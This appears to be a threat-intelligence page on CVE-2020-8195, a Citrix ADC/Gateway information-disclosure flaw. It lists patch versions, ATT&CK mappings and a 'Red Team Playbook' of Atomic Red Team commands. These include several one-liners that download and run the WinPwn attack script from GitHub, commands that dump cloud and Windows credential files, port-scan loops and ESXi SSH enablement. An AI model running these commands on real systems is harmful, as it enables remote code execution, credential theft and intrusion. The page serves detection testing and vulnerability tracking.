CVE-2020-8195

MEDIUM CISA KEV Pub 10/07 Upd 21/10

Overview

This vulnerability is a result of improper input validation in Citrix ADC, Citrix Gateway, and Citrix SDWAN WAN-OP firmware. The root cause lies in insufficient sanitization of user-supplied input within certain components responsible for request processing, leading to the potential exposure of sensitive information. The affected components include firmware versions prior to specified releases in Citrix ADC and Gateway, as well as Citrix SDWAN WAN-OP, specifically in modules handling user requests and access control.

Vulnerability Description

Improper input validation in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 resulting in limited information disclosure to low privileged users.

Impact

An attacker with low-privileged access can leverage this vulnerability to obtain sensitive information that should be restricted, potentially including configuration details or system data. This exposure can aid further attacks by revealing internal system structure or credentials. Exploitation does not require elevated privileges beyond a low-privileged user account, nor user interaction, facilitating reconnaissance and lateral movement within affected environments. The consequence is a breach of confidentiality that may lead to broader security compromises if leveraged effectively.

Solution

Citrix has released patches addressing this vulnerability in the following firmware versions: Citrix ADC and Gateway versions 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14, and 10.5-70.18, as well as Citrix SDWAN WAN-OP versions 11.1.1a, 11.0.3d, and 10.2.7. Administrators should apply these updates promptly. Detailed patching instructions and advisories are available at https://support.citrix.com/article/CTX276688. No specific workarounds are noted in the advisory, so updating to the fixed versions is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Citrix ADC and Citrix Gateway, along with Citrix SDWAN WAN-OP, stems from improper input validation, which can lead to limited information disclosure to low privileged users. This flaw arises when the systems fail to adequately validate input data, allowing unauthorized access to sensitive information that should be restricted. The affected versions of these products include several iterations of the ADC and Gateway firmware, which are widely deployed in enterprise environments for application delivery and secure remote access. The lack of robust input validation mechanisms can expose the systems to risks where malicious actors could exploit this weakness to gain insights into the internal workings of the application, potentially leading to further attacks.

Attack vectors for this vulnerability are primarily through user interactions with the affected systems. An attacker could leverage social engineering tactics to trick low privileged users into accessing malicious links or submitting crafted input that the system inadequately validates. Once this input is processed, the attacker may receive unintended information, such as configuration details or user data, which could be exploited for further attacks. Additionally, if the attacker has any form of access to the network where these devices are deployed, they could attempt to probe the system for weaknesses, making it easier to exploit this vulnerability. The potential for exploitation is significant, especially in environments where sensitive data is handled, as the attacker could use the disclosed information to escalate privileges or launch more sophisticated attacks.

The real-world impact of this vulnerability can be substantial, particularly for organizations that rely on Citrix products for critical operations. Limited information disclosure may seem benign at first glance; however, it can lead to a cascade of security issues. For instance, if an attacker gains access to internal configurations or user credentials, they could pivot to more sensitive areas of the network, leading to data breaches or service disruptions. The business risks associated with such breaches include financial losses, reputational damage, and regulatory penalties, especially in industries that require strict compliance with data protection laws. Organizations must recognize that even seemingly minor vulnerabilities can serve as gateways to larger, more damaging attacks.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected systems is crucial, as vendors often release updates that address known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their configurations and user input handling. Employing Web Application Firewalls (WAFs) can also help filter and monitor HTTP requests, providing an additional layer of defense against malformed input. Furthermore, educating users about safe browsing practices and the risks associated with social engineering can reduce the likelihood of successful exploitation.

In conclusion, the improper input validation vulnerability in Citrix ADC, Citrix Gateway, and Citrix SDWAN WAN-OP presents a notable risk to organizations that utilize these products. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against exploitation. Implementing robust detection and mitigation strategies is essential to safeguard sensitive information and maintain the integrity of their systems. As the cybersecurity landscape continues to evolve, proactive measures will be key to defending against emerging threats.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-8195, with telemetry indicating the emergence of new exploitation attempts after a period of dormancy. Although the EPSS score has decreased significantly, reflecting a lower overall likelihood of widespread exploitation, the recent uptick in detection signals that threat actors are actively probing vulnerable Citrix ADC, Gateway, and SD-WAN WAN-OP appliances. This shift underscores the importance of continued vigilance, as the presence of exploitation attempts—even if limited—suggests adversaries may be refining tactics or targeting specific environments. The current exploit landscape remains devoid of publicly disclosed new exploit variants, but the observed activity highlights a persistent risk that could escalate if leveraged in targeted campaigns. Consequently, while the medium severity rating remains appropriate, defenders should recognize that the threat posture has become more dynamic, warranting sustained monitoring to detect potential escalation or lateral movement attempts exploiting this vulnerability.

Affected Products (14)

Vendor Product Version CPE
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Application Delivery Controller Firmware All cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway Firmware All cpe:2.3:o:citrix:netscaler_gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Gateway Firmware All cpe:2.3:o:citrix:gateway_firmware:*:*:*:*:*:*:*:*
citrix Citrix Sd-Wan Wanop All cpe:2.3:o:citrix:sd-wan_wanop:*:*:*:*:*:*:*:*
citrix Citrix Sd-Wan Wanop All cpe:2.3:o:citrix:sd-wan_wanop:*:*:*:*:*:*:*:*
citrix Citrix Sd-Wan Wanop All cpe:2.3:o:citrix:sd-wan_wanop:*:*:*:*:*:*:*:*
citrix Citrix Gateway Plug-In For Linux All cpe:2.3:a:citrix:gateway_plug-in_for_linux:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
73% path_traversal
Improper Input Validation
65% input_validation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
40%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
37%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
34%
High High
CAPEC-76 Manipulating Web Input to File System Calls
32%
High Very High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
32%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-8195
support.citrix.com
GitHub CVE x_refsource_MISC
https://support.citrix.com/article/CTX276688
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8195